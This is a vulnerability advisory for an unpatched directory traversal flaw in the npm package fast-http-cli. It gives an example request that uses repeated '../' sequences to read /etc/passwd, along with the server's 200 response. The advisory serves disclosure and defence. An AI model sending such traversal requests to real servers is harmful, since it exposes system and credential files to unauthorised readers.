GHSA-9frq-f867-hgqc

    Dashboard / Vulnerabilities / GHSA-9frq-f867-hgqc

    GHSA-9frq-f867-hgqc

    Published: 23 Jul 2018Last Modified: 8 Nov 2023

    Summary: Directory Traversal in fast-http-cli

    Details: `fast-http-cli` is the command line interface for `fast-http`, a simple web server. `fast-http-cli` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url. **Example request:** ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host: localhost ``` and server Response: ```http HTTP/1.1 200 OK Date: Thu, 04 May 2017 23:59:18 GMT Connection: keep-alive Transfer-Encoding: chunked {contents of /etc/passwd} ``` ## Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

    Affected packages

    Package

    Name: fast-http-cli

    Purl: pkg:npm/fast-http-cli

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -None

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High